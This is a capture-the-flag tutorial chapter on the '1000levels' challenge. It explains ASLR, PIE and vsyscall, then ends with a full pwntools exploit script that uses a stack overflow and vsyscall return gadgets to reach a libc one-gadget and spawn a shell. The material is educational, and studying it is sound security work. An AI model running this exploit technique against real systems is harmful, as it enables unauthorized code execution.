Another BOF
As I said in earlier chapters, Buffer Overflow is an exploit that is almost inevitable in a lot of programs. This persistence happens because buffer overflow (or BOF) can happen in many ways. A simple traditional buffer overflow may occur when an attacker can overwrite the program's return address inside the stack, therefore changing the program's execution flow by controlling the RIP (Instruction Pointer). However, as the techniques for mitigating this kind of attack develop, most of programs with buffer overflow vulnerabilities can't be exploited with just that classic technique. Which is why, buffer overflows often used with another exploitation techniques, such as Ret2Libc, ROP Chaining, and many other, simply because just having a buffer overflow vulnerability isn't enough.
In this chapter, I won't feature the same sub chapters like in the previous ones, because you should already know what is Buffer Overflow and how it works in general. Instead I'll be more specific to the challenge in this section.
ASLR
What is ASLR? On the previous exploits, watch carefully that our crafted payloads most of the time require us to locate a specific address of a specific instruction or command. Now what if those address change at every runtime?
That is what ASLR does. ASLR or Address-Space Layout Randomization is an OS based memory protection technique that will randomize each address everytime the program runs. This protection is created because almost every of BOF technique require a reliable memory address for it to succeed.
PIE
Another security feature to protect a program from exploitation is Position Independent Executable, or PIE. Every PIEd binary along with all its dependencies (including shared objects such as libc.so) will be treated as a shared object and will be loaded into random addresses for each runtime. This will make ROPChain a lot worse to implement, because each gadgets will have different addresses for each runtime. PIE are often used on an ASLR enabled machine to further increase the protection. And our challenge today will feature bypassing these security patches.
Write-up Analysis
Original write-up: https://nandynarwhals.org/hitbgsec2017-1000levels/
Original challenge: https://drive.google.com/open?id=1kDz3XKree0s3zkcrk5_r0z4ul8CrvYQs
Here we go
To put it simply, in this challenge we have NX-bit enabled and PIE enabled. We already bypassed canary and NX-bit in the previous challenge, so now it's the time to learn about PIE.
The program is about a mathematical challenge which demands us to solve problems. The amount of problems depends on how much we tell the program to give to us. For more information, you can do static analysis with IDA or radare2
or any other software you like.
The program will give us three options at the main screen, that is go ()
, hint ()
, and exit ()
. The function hint ()
copies the address of system@got
somewhere into the stack and gives us "NO PWN NO FUN". It may also give us the address of system@got
under a certain condition (I haven't tried it yet). The go ()
function will ask for two inputs, in which we might give a value on how much problems will appear. If the first value is not zero, it will copy it into the same variable that contains our previous system@got
. Otherwise, it will print "Coward" and continue into the next prompt. This is why the OWG prompted the hint ()
function before go ()
, to push the address of system@got
into the stack. This is also where the uninitialized variable overflow occurs.
On the second prompt, the program will ask us to input another value. If the value is equal to or below zero, it will print "Coward" and exit to main menu. If the value is more than 1000, it will set an initial value to 1000. Else, the initial value will be set to the value of the first variable (the one that contains the address of system@got
). But before the test of value, the program will add the value to the first variable.
The mathematical problems will be summoned recursively depending on how much our initial value is, that is the value from before.
The rest is only a combined buffer overflow attacks with ROP Chain. How could an ROP Chain possible inside a program with random addresses at every runtime?
If you see the original write-up and exploit, you may notice that weird ret_address
with a lot of F's inside. That variable contains an address that comes from the offset of vsyscall
. I may have explained a syscall
in earlier chapters, but vsyscall works differently and is a good vector of exploitation.
vsyscall
or virtual system call is a mechanism designed to optimize performance on Linux systems. A syscall, as we know is a way for us to request access of a certain functions that involves the kernel usually regarding usage of hardware devices or anything that might relate to it. A syscall is, according to 0xAX on his/her github article, is an expensive operation because the program that requested a syscall must interrupt the execution, and switch context to kernel mode (switching from normal user to kernel) until the syscall ended. Now this switching requires a lot of operation, and if there are a lot of syscalls, the program will simply be slower in execution. vsyscall
was created to diminish that problem. By creating a special space for user with some syscall implementation inside the virtual memory of the program (also called private memory) --a place that contains the memory offset of that specific program, the program doesn't have to switch context to kernel mode but only have to access that specific syscall in that virtually mapped memory region, therefore optimizing the program.
However, vsyscall
comes with some flaw, one of them is every address inside that memory region is static, independent of ASLR or PIE. Meaning everytime the program runs and execute an instruction via vsyscall
, the address will be the same for each runtime. And that is where we get our gadget.
#!/usr/bin/python
from pwn import *
import sys
context.log_level = "debug"
system_offset = 0x0000000000045390 # Address of system in our libc.so.6
ret_address = 0xffffffffff600400 # Return address that we want to use for ROP Chain
target_offset = 0x4526a # The magic Libc gadget that will grant us shell
difference = target_offset - system_offset # Since the second prompt will subtract the first variable
# (the one used to contain the address of system@got)
# with it, we can give it a negative value so it will
# add the variable instead, therefore accessing the target offset.
def answer(eqn):
parse = eqn[9:eqn.find("=")] # Getting the equations
soln = eval(parse) # Automated solving
return soln # Return solved answer
def main():
p = process("./1000levels")
#p = remote("47.74.147.103", 20001)
p.sendline("2")
p.clean()
p.sendline("1")
p.clean()
p.sendline("0")
p.clean()
p.sendline(str(difference))
for i in range(999):
p.recvline_contains("Level")
eqn = p.clean()
soln = answer(eqn)
p.send(str(soln)+"\x00") # Give the answers with a null terminator
if i % 50 == 0:
log.info("Please wait... %d/1000" % i)
pay = str(soln) + "\x00" # Our last answer.
pay = pay.ljust(56, "B") # Padded by 56 B's from the left to overflow the buffer and allowing
# us to ROP Chain.
pay += p64(ret_address)*3 # Our ROP Chain gadgets obtained from the offset of vsyscall.
# Note that the gadgets from vsyscall is not affected by ASLR or PIE
# because it creates its own virtual memory at runtime.
log.info("Injected our vsyscall ROPs")
p.send(pay)
p.clean()
p.success("Shell spawned! Enjoy!")
p.interactive()
if __name__ == "__main__":
main()